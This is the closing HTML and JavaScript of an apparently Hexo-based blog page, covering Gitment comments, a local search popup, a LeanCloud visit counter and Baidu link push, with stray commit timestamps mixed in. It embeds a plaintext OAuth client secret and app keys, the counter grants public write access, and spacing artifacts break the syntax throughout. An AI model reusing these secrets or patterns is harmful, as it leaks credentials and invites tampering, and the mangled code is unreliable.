<!-- LOCAL: You can save these files to your site and update links -->
2019-07-10 04:27:33 +00:00
< link rel = "stylesheet" href = "https://jjeejj.github.io/css/gitment.css" >
< script src = "https://jjeejj.github.io/js/gitment.js" > < / script >
2019-07-01 09:29:47 +00:00
<!-- END LOCAL -->
< script type = "text/javascript" >
function renderGitment(){
2019-07-10 04:27:33 +00:00
var gitment = new Gitment({
2019-07-09 06:49:56 +00:00
id: window.location.pathname,
2019-07-01 09:29:47 +00:00
owner: 'Cool-Y',
repo: 'gitment-comments',
oauth: {
client_secret: '1c5db4da72df5e6fc318d12afe5f4406f7c54343',
client_id: '180955a2c3ae3d966d9a'
}});
gitment.render('gitment-container');
}
renderGitment();
< / script >
< script type = "text/javascript" >
// Popup Window;
var isfetched = false;
var isXml = true;
// Search DB path;
var search_path = "search.xml";
if (search_path.length === 0) {
search_path = "search.xml";
} else if (/json$/i.test(search_path)) {
isXml = false;
}
var path = "/" + search_path;
// monitor main search box;
var onPopupClose = function (e) {
$('.popup').hide();
$('#local-search-input').val('');
$('.search-result-list').remove();
$('#no-result').remove();
$(".local-search-pop-overlay").remove();
$('body').css('overflow', '');
}
function proceedsearch() {
$("body")
.append('< div class = "search-popup-overlay local-search-pop-overlay" > < / div > ')
.css('overflow', 'hidden');
$('.search-popup-overlay').click(onPopupClose);
$('.popup').toggle();
var $localSearchInput = $('#local-search-input');
$localSearchInput.attr("autocapitalize", "none");
$localSearchInput.attr("autocorrect", "off");
$localSearchInput.focus();
}
// search function;
var searchFunc = function(path, search_id, content_id) {
'use strict';
// start loading animation
$("body")
.append('< div class = "search-popup-overlay local-search-pop-overlay" > ' +
'< div id = "search-loading-icon" > ' +
'< i class = "fa fa-spinner fa-pulse fa-5x fa-fw" > < / i > ' +
'< / div > ' +
'< / div > ')
.css('overflow', 'hidden');
$("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
$.ajax({
url: path,
dataType: isXml ? "xml" : "json",
async: true,
success: function(res) {
// get the contents from search data
isfetched = true;
$('.popup').detach().appendTo('.header-inner');
var datas = isXml ? $("entry", res).map(function() {
return {
title: $("title", this).text(),
content: $("content",this).text(),
url: $("url" , this).text()
};
}).get() : res;
var input = document.getElementById(search_id);
var resultContent = document.getElementById(content_id);
var inputEventFunction = function() {
var searchText = input.value.trim().toLowerCase();
var keywords = searchText.split(/[\s\-]+/);
if (keywords.length > 1) {
keywords.push(searchText);
}
var resultItems = [];
if (searchText.length > 0) {
// perform local searching
datas.forEach(function(data) {
var isMatch = false;
var hitCount = 0;
var searchTextCount = 0;
var title = data.title.trim();
var titleInLowerCase = title.toLowerCase();
var content = data.content.trim().replace(/< [^>]+>/g,"");
var contentInLowerCase = content.toLowerCase();
var articleUrl = decodeURIComponent(data.url);
var indexOfTitle = [];
var indexOfContent = [];
// only match articles with not empty titles
if(title != '') {
keywords.forEach(function(keyword) {
function getIndexByWord(word, text, caseSensitive) {
var wordLen = word.length;
if (wordLen === 0) {
return [];
}
var startPosition = 0, position = [], index = [];
if (!caseSensitive) {
text = text.toLowerCase();
word = word.toLowerCase();
}
while ((position = text.indexOf(word, startPosition)) > -1) {
index.push({position: position, word: word});
startPosition = position + wordLen;
}
return index;
}
indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
});
if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
isMatch = true;
hitCount = indexOfTitle.length + indexOfContent.length;
}
}
// show search results
if (isMatch) {
// sort index by position of keyword
[indexOfTitle, indexOfContent].forEach(function (index) {
index.sort(function (itemLeft, itemRight) {
if (itemRight.position !== itemLeft.position) {
return itemRight.position - itemLeft.position;
} else {
return itemLeft.word.length - itemRight.word.length;
}
});
});
// merge hits into slices
function mergeIntoSlice(text, start, end, index) {
var item = index[index.length - 1];
var position = item.position;
var word = item.word;
var hits = [];
var searchTextCountInSlice = 0;
while (position + word.length < = end & & index.length != 0) {
if (word === searchText) {
searchTextCountInSlice++;
}
hits.push({position: position, length: word.length});
var wordEnd = position + word.length;
// move to next position of hit
index.pop();
while (index.length != 0) {
item = index[index.length - 1];
position = item.position;
word = item.word;
if (wordEnd > position) {
index.pop();
} else {
break;
}
}
}
searchTextCount += searchTextCountInSlice;
return {
hits: hits,
start: start,
end: end,
searchTextCount: searchTextCountInSlice
};
}
var slicesOfTitle = [];
if (indexOfTitle.length != 0) {
slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
}
var slicesOfContent = [];
while (indexOfContent.length != 0) {
var item = indexOfContent[indexOfContent.length - 1];
var position = item.position;
var word = item.word;
// cut out 100 characters
var start = position - 20;
var end = position + 80;
if(start < 0 ) {
start = 0;
}
if (end < position + word . length ) {
end = position + word.length;
}
if(end > content.length){
end = content.length;
}
slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
}
// sort slices in content by search text's count and hits' count
slicesOfContent.sort(function (sliceLeft, sliceRight) {
if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
return sliceRight.searchTextCount - sliceLeft.searchTextCount;
} else if (sliceLeft.hits.length !== sliceRight.hits.length) {
return sliceRight.hits.length - sliceLeft.hits.length;
} else {
return sliceLeft.start - sliceRight.start;
}
});
// select top N slices in content
var upperBound = parseInt('1');
if (upperBound >= 0) {
slicesOfContent = slicesOfContent.slice(0, upperBound);
}
// highlight title and content
function highlightKeyword(text, slice) {
var result = '';
var prevEnd = slice.start;
slice.hits.forEach(function (hit) {
result += text.substring(prevEnd, hit.position);
var end = hit.position + hit.length;
result += '< b class = "search-keyword" > ' + text.substring(hit.position, end) + '< / b > ';
prevEnd = end;
});
result += text.substring(prevEnd, slice.end);
return result;
}
var resultItem = '';
if (slicesOfTitle.length != 0) {
resultItem += "< li > < a href = '" + articleUrl + "' class = 'search-result-title' > " + highlightKeyword(title, slicesOfTitle[0]) + "< / a > ";
} else {
resultItem += "< li > < a href = '" + articleUrl + "' class = 'search-result-title' > " + title + "< / a > ";
}
slicesOfContent.forEach(function (slice) {
resultItem += "< a href = '" + articleUrl + "' > " +
"< p class = \"search-result\" > " + highlightKeyword(content, slice) +
"...< / p > " + "< / a > ";
});
resultItem += "< / li > ";
resultItems.push({
item: resultItem,
searchTextCount: searchTextCount,
hitCount: hitCount,
id: resultItems.length
});
}
})
};
if (keywords.length === 1 & & keywords[0] === "") {
resultContent.innerHTML = '< div id = "no-result" > < i class = "fa fa-search fa-5x" / > < / div > '
} else if (resultItems.length === 0) {
resultContent.innerHTML = '< div id = "no-result" > < i class = "fa fa-frown-o fa-5x" / > < / div > '
} else {
resultItems.sort(function (resultLeft, resultRight) {
if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
return resultRight.searchTextCount - resultLeft.searchTextCount;
} else if (resultLeft.hitCount !== resultRight.hitCount) {
return resultRight.hitCount - resultLeft.hitCount;
} else {
return resultRight.id - resultLeft.id;
}
});
var searchResultList = '< ul class = \"search-result-list\" > ';
resultItems.forEach(function (result) {
searchResultList += result.item;
})
searchResultList += "< / ul > ";
resultContent.innerHTML = searchResultList;
}
}
if ('auto' === 'auto') {
input.addEventListener('input', inputEventFunction);
} else {
$('.search-icon').click(inputEventFunction);
input.addEventListener('keypress', function (event) {
if (event.keyCode === 13) {
inputEventFunction();
}
});
}
// remove loading animation
$(".local-search-pop-overlay").remove();
$('body').css('overflow', '');
proceedsearch();
}
});
}
// handle and trigger popup window;
$('.popup-trigger').click(function(e) {
e.stopPropagation();
if (isfetched === false) {
searchFunc(path, 'local-search-input', 'local-search-result');
} else {
proceedsearch();
};
});
$('.popup-btn-close').click(onPopupClose);
$('.popup').click(function(e){
e.stopPropagation();
});
$(document).on('keyup', function (event) {
var shouldDismissSearchPopup = event.which === 27 & &
$('.search-popup').is(':visible');
if (shouldDismissSearchPopup) {
onPopupClose();
}
});
< / script >
< script src = "https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js" > < / script >
< script > AV . initialize ( "EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz" , "x8FxDrYG79C8YFrTww9ljo8K" ) ; < / script >
< script >
function showTime(Counter) {
var query = new AV.Query(Counter);
var entries = [];
var $visitors = $(".leancloud_visitors");
$visitors.each(function () {
entries.push( $(this).attr("id").trim() );
});
query.containedIn('url', entries);
query.find()
.done(function (results) {
var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
if (results.length === 0) {
$visitors.find(COUNT_CONTAINER_REF).text(0);
return;
}
for (var i = 0; i < results.length ; i + + ) {
var item = results[i];
var url = item.get('url');
var time = item.get('time');
var element = document.getElementById(url);
$(element).find(COUNT_CONTAINER_REF).text(time);
}
for(var i = 0; i < entries.length ; i + + ) {
var url = entries[i];
var element = document.getElementById(url);
var countSpan = $(element).find(COUNT_CONTAINER_REF);
if( countSpan.text() == '') {
countSpan.text(0);
}
}
})
.fail(function (object, error) {
console.log("Error: " + error.code + " " + error.message);
});
}
function addCount(Counter) {
var $visitors = $(".leancloud_visitors");
var url = $visitors.attr('id').trim();
var title = $visitors.attr('data-flag-title').trim();
var query = new AV.Query(Counter);
query.equalTo("url", url);
query.find({
success: function(results) {
if (results.length > 0) {
var counter = results[0];
counter.fetchWhenSave(true);
counter.increment("time");
counter.save(null, {
success: function(counter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(counter.get('time'));
},
error: function(counter, error) {
console.log('Failed to save Visitor num, with error message: ' + error.message);
}
});
} else {
var newcounter = new Counter();
/* Set ACL */
var acl = new AV.ACL();
acl.setPublicReadAccess(true);
acl.setPublicWriteAccess(true);
newcounter.setACL(acl);
/* End Set ACL */
newcounter.set("title", title);
newcounter.set("url", url);
newcounter.set("time", 1);
newcounter.save(null, {
success: function(newcounter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
},
error: function(newcounter, error) {
console.log('Failed to create');
}
});
}
},
error: function(error) {
console.log('Error:' + error.code + " " + error.message);
}
});
}
$(function() {
var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
} else if ($('.post-title-link').length > 1) {
showTime(Counter);
}
});
< / script >
< script >
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
< / script >
< / body >
< / html >